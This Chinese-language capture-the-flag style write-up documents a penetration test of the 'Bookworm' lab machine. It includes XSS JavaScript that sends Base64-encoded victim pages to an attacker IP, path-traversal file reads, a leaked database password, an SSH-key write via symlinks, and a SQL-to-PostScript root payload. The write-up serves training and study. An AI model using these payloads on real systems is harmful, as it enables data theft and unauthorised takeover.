前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次对bookworm的渗透测试绕过csp

记一次对bookworm的渗透测试绕过csp

作者头像
亿人安全
发布2024-06-27 17:24:08
870
发布2024-06-27 17:24:08
举报
文章被收录于专栏:红蓝对抗红蓝对抗

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全设为星标”,否则可能就看不到了啦

概要

初始知识

枚举 javascript基本代码编写 sql注入

学到知识

csp绕过 sql注入 web程序漏洞

信息收集

端口扫描

发现22和80开放 因为网络原因我们要多扫描几次,有可能还要加-Pn参数

上述域名和ip加入/etc/hosts文件

Website - TCP 80

Site

/shop 提供书籍和价格

shop/id 单击会出现一本书 的详细页面

点击添加会让我们登录

没有用户让我们注册一个

测试xss edit note功能

burp抓包

无过滤但是有csp CSP 指的是内容安全策略(Content Security Policy),这是一种网络安全标准,旨在防止跨站脚本攻击(XSS)、数据注入攻击等常见的网络安全威胁。CSP 通过允许网站管理员定义哪些内容是可信的,从而限制可以在网页上执行的脚本和加载的资源

Content-Security-Policy: The page’s settings blocked the loading of a resource at inline (“script-src”) .由于页面的CSP规则,浏览器阻止了一段内联JavaScript代码的执行

self 指令指定同源是脚本的输入,并且由于没有列出其他任何内容,因此不会运行其他任何内容。如果要运行一个脚本,需要它来自 Bookworm

上传带有xss语句的图片

尝试在edit note调用

绕过访问限制
IDOR 越权查看修改其他用户

发现id 415尝试修改

js读取其他用户数据

代码语言:javascript
复制
构造攻击者URL:使用变量 attacker 构造一个URL字符串,该字符串以 "http://10.10.16.12/?url=" 开始,然后连接传入的 url 参数的编码版本。这里使用了 encodeURIComponent 函数对传入的 url 进行编码,以确保URL参数的格式正确。

发送请求:使用 fetch API 向传入的 url 发送请求。fetch 是一个用于发起网络请求的Promise-based(基于Promise)Web API。

处理响应:对 fetch 请求的响应使用 .then 进行处理。如果请求成功,res 将是一个包含响应数据的 Response 对象。

异步等待响应文本:使用 async 关键字和 await 关键字等待 res.text() 的Promise解决,这将提取响应的文本内容。

Base64编码响应文本:使用 btoa 函数将响应的文本内容进行Base64编码。

发送编码后的数据:将Base64编码后的数据作为参数附加到 attacker URL中,并通过另一个 fetch 请求发送出去。

调用函数:最后,通过调用 sendrequest 函数并传入 "http://bookworm.htb/profile" 作为参数来启动整个过程。

这段代码的目的是向两个不同的URL发送请求:

首先,它向 "http://bookworm.htb/profile" 发送请求,获取响应内容。

然后,它将获取到的响应内容进行Base64编码,并将编码后的结果作为参数发送到攻击者的URL "http://10.10.16.12/?url="。
代码语言:javascript
复制
async function getOrder(html_page) {
  try {
    const parser = new DOMParser();
    const htmlString = html_page;
    const doc = parser.parseFromString(htmlString, 'text/html');
    const orderLinks = doc.querySelectorAll('tbody a');
    const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));
    return orderUrls;
  } catch (error) {
    console.error("Error:", error);
    return [];
  }
}

async function sendRequest(url) {
  try {
    const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url);
    const response = await fetch(url);
    const text = await response.text();
    const encodedData = btoa(text);
    await fetch(attacker + "&data=" + encodedData);
  } catch (error) {
    console.error("Error:", error);
  }
}

async function fetchDataAndSendRequests() {
  try {
    const response = await fetch("http://bookworm.htb/profile");
    const html = await response.text();
    const orders = await getOrder(html);
    for (const path of orders) {
      const url = "http://bookworm.htb" + path;
      await sendRequest(url);
    }
  } catch (error) {
    console.error("Error:", error);
  }
}

fetchDataAndSendRequests();

解码查看

LFI

使用代码查看我们所需要的内容

代码语言:javascript
复制
function getOrder(html_page) {
  const parser = new DOMParser();
  const htmlString = html_page;
  const doc = parser.parseFromString(htmlString, 'text/html');
  const orderLinks = doc.querySelectorAll('tbody a');
  const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));
  return orderUrls;
}

function getDownload(html) {
  const container = document.createElement('div');
  container.innerHTML = html;
  const downloadLink = container.querySelector('a[href^="/download"]');
  const downloadURL = downloadLink ? downloadLink.href.substring(0, downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../proc/self/cwd/database.js" : null;
  return downloadURL;
}

function arrayBufferToBase64(buffer) {
  var binary = '';
  var bytes = new Uint8Array(buffer);
  var len = bytes.byteLength;
  for (var i = 0; i < len; i++) {
    binary += String.fromCharCode(bytes[i]);
  }
  return btoa(binary);
}

async function sendRequest(url) {
  try {
    const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url);
    const response = await fetch(url);
    const arrayBuffer = await response.arrayBuffer();
    const encodedData = arrayBufferToBase64(arrayBuffer);
    await fetch(attacker + "&data=" + encodedData);
  } catch (error) {
    console.error("Error:", error);
  }
}

async function getPdf(url) {
  try {
    const response = await fetch(url);
    const html = await response.text();
    const download = getDownload(html);
    if (download) {
      await sendRequest(download);
    }
  } catch (error) {
    console.error("Error:", error);
  }
}

fetch("http://bookworm.htb/profile").then(async (res) => {
  try {
    const html = await res.text();
    const orders = getOrder(html);
    for (const path of orders) {
      const url = "http://bookworm.htb" + path;
      await getPdf(url);
    }
  } catch (error) {
    console.error("Error:", error);
  }
});
代码语言:javascript
复制
function getOrder(html_page) {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html_page, 'text/html');
    return Array.from(doc.querySelectorAll('tbody a'), link => "http://bookworm.htb" + link.getAttribute('href'));
}

function getDownload(html) {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html, 'text/html');
    const downloadLink = doc.querySelector('a[href^="/download"]');
    return downloadLink ? downloadLink.href.replace(/=(.+)$/, "=.&bookIds=../../../../../../etc/passwd") : null;
}

function arrayBufferToBase64(buffer) {
    return btoa(String.fromCharCode(...new Uint8Array(buffer)));
}

function sendRequest(url) {
    const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url); // Fixed the URL
    fetch(url).then(async (res) => { // Added missing parameter in .then()
        fetch(attacker + "&data=" + arrayBufferToBase64(await res.arrayBuffer()));
    });
}

async function getPdf(url) {
    const html = await (await fetch(url)).text();
    const download = getDownload(html);
    if (download) {
        sendRequest(download);
    }
}

fetch("http://bookworm.htb/profile") // Added missing quotes for the string
    .then(res => res.text())
    .then(html => {
        const orders = getOrder(html);
        for (const path of orders) {
            getPdf(path); // getPdf is now an async function, consider using Promise.all if you want to wait for all requests to complete
        }
    })
    .catch(error => {
        console.error('Error fetching profile:', error);
    });

我们把下载的内容做一个解密

查看当前运行的进程

/proc/self/cmdline 查看当前进程文件

似乎在运行database.js 这里我们可以根据前面信息收集到的内容,推断是不是node.js,然后去找寻起构造文件

代码语言:javascript
复制
const sequelize = new Sequelize(
  process.env.NODE_ENV === "production"
    ? {
        dialect: "mariadb",
        dialectOptions: {
          host: "127.0.0.1",
          user: "bookworm",
          database: "bookworm",
          password: "FrankTh3JobGiver",
        },
      logging: false,
      }
    : "sqlite::memory::"
);

frak

ssh frank@bookworm.htb

Privilege Escalation

信息收集发现其他用户

Shell as neil

可以查看neil内的源代码,发现3001端口

端口转发 ssh frank@bookworm.htb -L 3001:127.0.0.1:3001 我们这里为啥么要使用ssh转发,因为ssh是系统自带

是一个在线的格式转换器,根据代码知道后端调用的calibre 简单测试转换功能,发现输出在outputs目录,文件名被重命名

查看calibre文档,发现可以使用其他输入输出格式例如html,txt:

ebook-convert — calibre 6.19.1 documentation https://manual.calibre-ebook.com/generated/en/ebook-convert.html

有用法

它采用基于输入和输出扩展名的文件格式。如果没有输出扩展,则假定它是“开放式电子书 (OEB)”格式

我们可以使用软件进行本地测试和网站转发测试

根据代码,后段执行的命令大概这样,输出文件名拼接了我们可控的outputType:const destinationName = {fileId}.{outputType};const destinationPath = path.resolve(path.join(__dirname, "output", destinationName));

或许是目录遍历,我们在burp Repeater中测试它

可以写入

我们可不可以把公钥写入到neil用户,默认ebook-convert会创建目录 所以我们思考可以试试软连接方式吗 生成短rsa

因为sim保护,所以我们要先新建一个777文件,然后创建写入文件,在写入软连接 https://sysctl-explorer.net/fs/protected_symlinks/

Shell as root

neil 可以sudo执行genlabel,这是一个自定义程序,内部调用了ps2pdf执行postscript:

测试

文件传输打开

源码分析

根据代码查看疑似存在注入

调用模板

通过sql注入,我们就可以控制最终带入到postscript模板中的各种数据,从而控制最终执行的postscript脚本

查看模板

查看/usr/local/labelgeneration/template.ps模板文件,构造闭合,通过使用类似这样的postscript,就可以写入任意文件例如ssh公钥 https://stackoverflow.com/questions/25702146/file-i-o-in-postscript

代码语言:javascript
复制
) show
/outfile1 (/root/.ssh/authorized_keys) (w) file def
outfile1 (<your SSH public key>) writestring
outfile1 closefile
(a


所以我们就可以 直接构造提权root
sudo /usr/local/bin/genlabel "0 union select') show\n/outfile1(/root/.ssh/authorized_keys) (w) file def\noutfile1 (<your SSH public key>) writestring\noutfile1 closefile\n\n(a' as name, 'aa' as addressLine1, 'bb' as addressLine2, 'tt' as town, 'pp' as postcode, 0 as orderId, 1 as userId;"

总结:从csp绕过,到横向,从基础到内网多用户跳转,代码编写,漏洞利用,更多的说明从点到面,渗透中需要更多的知识,防守防更需要排查可能存在的点,进行早预防。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 初始知识
  • 学到知识
  • 信息收集
    • 端口扫描
      • Website - TCP 80
        • 绕过访问限制
        • IDOR 越权查看修改其他用户
      • LFI
        • frak
          • Privilege Escalation
        • Shell as root
        相关产品与服务
        腾讯云服务器利旧
        云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档